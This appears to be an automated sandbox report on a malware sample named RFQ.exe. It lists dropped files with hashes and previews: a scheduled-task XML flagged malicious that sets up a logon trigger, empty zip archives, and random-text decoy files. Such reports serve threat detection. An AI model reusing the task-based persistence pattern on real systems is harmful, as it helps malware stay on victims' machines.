File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tg2z5b0e.lkg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	5.121935780774439
Encrypted:	false
SSDEEP:	24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtexvn:cgeHgYrFdOFzOzN33ODOiDdKrsuTSv
MD5:	C12580726BA1C6533C10BB33C93A190E
SHA1:	D1B824D2F343587A1E9EEA94E1AA766003A178E7
SHA-256:	F8F0BAA6F1715746FF2DFE07CF2934F8202C9594C94F7459C2F11C89B872B523
SHA-512:	E1F75409D3B0A97D8814EAF97EE78FBCEE3AE94F7CA9BFA9BE2D0541AF3F309D9C35DA0A6AC2753455953564D34B21815157A0F2CFBC2B1DA0DBD3F88534821C
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Local\Temp\tmpE703.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	5.121935780774439
Encrypted:	false
SSDEEP:	24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtexvn:cgeHgYrFdOFzOzN33ODOiDdKrsuTSv
MD5:	C12580726BA1C6533C10BB33C93A190E
SHA1:	D1B824D2F343587A1E9EEA94E1AA766003A178E7
SHA-256:	F8F0BAA6F1715746FF2DFE07CF2934F8202C9594C94F7459C2F11C89B872B523
SHA-512:	E1F75409D3B0A97D8814EAF97EE78FBCEE3AE94F7CA9BFA9BE2D0541AF3F309D9C35DA0A6AC2753455953564D34B21815157A0F2CFBC2B1DA0DBD3F88534821C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	Zip archive data (empty)
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.4575187496394222
Encrypted:	false
SSDEEP:	3:pjt/lC:NtU
MD5:	98A833E15D18697E8E56CDAFB0642647
SHA1:	E5F94D969899646A3D4635F28A7CD9DD69705887
SHA-256:	FF006C86B5EC033FE3CAFD759BF75BE00E50C375C75157E99C0C5D39C96A2A6C
SHA-512:	C6F9A09D9707B770DBC10D47C4D9B949F4EBF5F030B5EF8C511B635C32D418AD25D72EEE5D7ED02A96AEB8BF2C85491CA1AA0E4336D242793C886ED1BCDD910B
Malicious:	false
Preview:	PK......................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip~RF63b014.TMP (copy)

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	Zip archive data (empty)
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.4575187496394222
Encrypted:	false
SSDEEP:	3:pjt/lC:NtU
MD5:	98A833E15D18697E8E56CDAFB0642647
SHA1:	E5F94D969899646A3D4635F28A7CD9DD69705887
SHA-256:	FF006C86B5EC033FE3CAFD759BF75BE00E50C375C75157E99C0C5D39C96A2A6C
SHA-512:	C6F9A09D9707B770DBC10D47C4D9B949F4EBF5F030B5EF8C511B635C32D418AD25D72EEE5D7ED02A96AEB8BF2C85491CA1AA0E4336D242793C886ED1BCDD910B
Malicious:	false
Preview:	PK......................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip~RF63bef9.TMP (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
File Type:	Zip archive data (empty)
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.4575187496394222
Encrypted:	false
SSDEEP:	3:pjt/lC:NtU
MD5:	98A833E15D18697E8E56CDAFB0642647
SHA1:	E5F94D969899646A3D4635F28A7CD9DD69705887
SHA-256:	FF006C86B5EC033FE3CAFD759BF75BE00E50C375C75157E99C0C5D39C96A2A6C
SHA-512:	C6F9A09D9707B770DBC10D47C4D9B949F4EBF5F030B5EF8C511B635C32D418AD25D72EEE5D7ED02A96AEB8BF2C85491CA1AA0E4336D242793C886ED1BCDD910B
Malicious:	false
Preview:	PK......................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.706547634051575
Encrypted:	false
SSDEEP:	24:hvsWN1mO5uGrz/I7zHH1p0zqzlGo9+kLDw5vXGTxrVYDH+:h3N8O5Rrz/Ww4lGoPLdVg+
MD5:	B8F3A1455E95B1CF3432BF983042773B
SHA1:	F205A118C84B93F8D41F9F3A0C3F5739B308A3BD
SHA-256:	F28BAE1CF8CA75EF22D6F1B09E711B7CE094E88420F0085CD54522F42E2F01CC
SHA-512:	8E565B641B5FD2E12605880EDE93270A75B170462139E0A604E9392EAE17E9ED898657AC5CF3940D6642FA1C30932B5457C5ED3F48945406D8D52FFDAE4C75EC
Malicious:	false
Preview:	DWTHNHNNJBNUOLHJSZISMDGJOYXTZZHUGXLVDUQRAEGRPGUJZOCKQITJDWWXLEKCBGNUXRHFKQNVYEOUAPWVUNRKEGOVRSMLUWJEDVYMGZNTPHFYBRBQKTDCSSUSYEFMSBVJIUZXBZTSOHJUGSMYXMCHCXFJRJWCIMIIBLQTYLCFAYBJJDFARAIASDNTGSCWOVPZQVOLZSDXHBWJKTFKDASDWBZAKTZORAZAYMGQAWYBXYSFHGIFDLGGWKOZHAKPMQDVATIAOQBMHQSPKRBCMODLQIXQPGYLUPHCCYRGFMMUNVADRWLBPHJTZMIBWBBNTGIKVBMISXLSCBVIJKSLAYUGSXYTWZXZEUNPSJHQDCYEUFAEFXVKTZLRWTCCBJEUMWRIOJQZDSKPYAXWZFFGELTRSKYQLZIJELZOOYTMOTXAVQFHZOTOYJRTETJWEYJSIKLGRPKHTDUAISIYRKTOTNIFBGJZDDLKNVDBWZPCZRBGCQVYWVVYPGSOJLVEEYAEGKNLGKHGWDNSTUBBACNMNKWHSEVSQQBPUBUQDPMAYUMOEKRDDULTRBJHROGAKDVOBRFGLXLEPPGPAOSMYHGQPLZVPJQPHVJECMGUAKGHDTRXXACRQCFVKNWHWLHHCPJPVQQVIJGFKFVKEZUOFIJPAGHPJNNXVXIPDRSYFAAUMDAXMMQYHYXSQCVGYKVCLTYUTCPZJEMADJIUEQIXZWEBGFSJRPNCJBGIRLATPCTHDDTOZYQETROWIDHELZOIYGROYRHTLACZEAAOGNJQWDLKLGFABXVJYRCNUWGFVDZUUJMAZAOCPBSGXKYOBTOFSVELAWARUWBQDAJUSVWCITXEQOPHLMEQQFXPPYDIRXJXPELMDYSPWTSNOQKFKNHOSIBCKLQWNBVVZSZKFPEPAAYEMUOZCVBZFPQTOSLEUQFOMZPXBRUFRPVLLIMOKJVZSYBIUFACEGBCKQVRWLXWDOKKECLVGPWOMOUDVXKXHIQF

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.706547634051575
Encrypted:	false
SSDEEP:	24:hvsWN1mO5uGrz/I7zHH1p0zqzlGo9+kLDw5vXGTxrVYDH+:h3N8O5Rrz/Ww4lGoPLdVg+
MD5:	B8F3A1455E95B1CF3432BF983042773B
SHA1:	F205A118C84B93F8D41F9F3A0C3F5739B308A3BD
SHA-256:	F28BAE1CF8CA75EF22D6F1B09E711B7CE094E88420F0085CD54522F42E2F01CC
SHA-512:	8E565B641B5FD2E12605880EDE93270A75B170462139E0A604E9392EAE17E9ED898657AC5CF3940D6642FA1C30932B5457C5ED3F48945406D8D52FFDAE4C75EC
Malicious:	false
Preview:	DWTHNHNNJBNUOLHJSZISMDGJOYXTZZHUGXLVDUQRAEGRPGUJZOCKQITJDWWXLEKCBGNUXRHFKQNVYEOUAPWVUNRKEGOVRSMLUWJEDVYMGZNTPHFYBRBQKTDCSSUSYEFMSBVJIUZXBZTSOHJUGSMYXMCHCXFJRJWCIMIIBLQTYLCFAYBJJDFARAIASDNTGSCWOVPZQVOLZSDXHBWJKTFKDASDWBZAKTZORAZAYMGQAWYBXYSFHGIFDLGGWKOZHAKPMQDVATIAOQBMHQSPKRBCMODLQIXQPGYLUPHCCYRGFMMUNVADRWLBPHJTZMIBWBBNTGIKVBMISXLSCBVIJKSLAYUGSXYTWZXZEUNPSJHQDCYEUFAEFXVKTZLRWTCCBJEUMWRIOJQZDSKPYAXWZFFGELTRSKYQLZIJELZOOYTMOTXAVQFHZOTOYJRTETJWEYJSIKLGRPKHTDUAISIYRKTOTNIFBGJZDDLKNVDBWZPCZRBGCQVYWVVYPGSOJLVEEYAEGKNLGKHGWDNSTUBBACNMNKWHSEVSQQBPUBUQDPMAYUMOEKRDDULTRBJHROGAKDVOBRFGLXLEPPGPAOSMYHGQPLZVPJQPHVJECMGUAKGHDTRXXACRQCFVKNWHWLHHCPJPVQQVIJGFKFVKEZUOFIJPAGHPJNNXVXIPDRSYFAAUMDAXMMQYHYXSQCVGYKVCLTYUTCPZJEMADJIUEQIXZWEBGFSJRPNCJBGIRLATPCTHDDTOZYQETROWIDHELZOIYGROYRHTLACZEAAOGNJQWDLKLGFABXVJYRCNUWGFVDZUUJMAZAOCPBSGXKYOBTOFSVELAWARUWBQDAJUSVWCITXEQOPHLMEQQFXPPYDIRXJXPELMDYSPWTSNOQKFKNHOSIBCKLQWNBVVZSZKFPEPAAYEMUOZCVBZFPQTOSLEUQFOMZPXBRUFRPVLLIMOKJVZSYBIUFACEGBCKQVRWLXWDOKKECLVGPWOMOUDVXKXHIQF

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKG